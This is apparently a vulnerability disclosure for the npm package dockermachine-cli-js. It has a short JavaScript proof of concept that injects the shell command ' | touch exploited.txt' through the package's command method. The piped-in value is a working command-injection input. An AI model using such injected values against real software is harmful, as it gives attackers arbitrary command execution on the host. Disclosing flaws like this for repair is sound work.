Package dockermachine-cli-js: A DockerMachine instance can be created through a child process started by the package. Possible to inject a command (e.g. ' | touch exploit.txt') through the parameter of its command method.

dockermachine-cli-js_poc.js

'use strict'

const pkg = require('dockermachine-cli-js');

const d = new pkg.DockerMachine();

const commandStr = ' | touch exploited.txt';

// An 'exploited.txt' file will be created locally.
d.command(commandStr);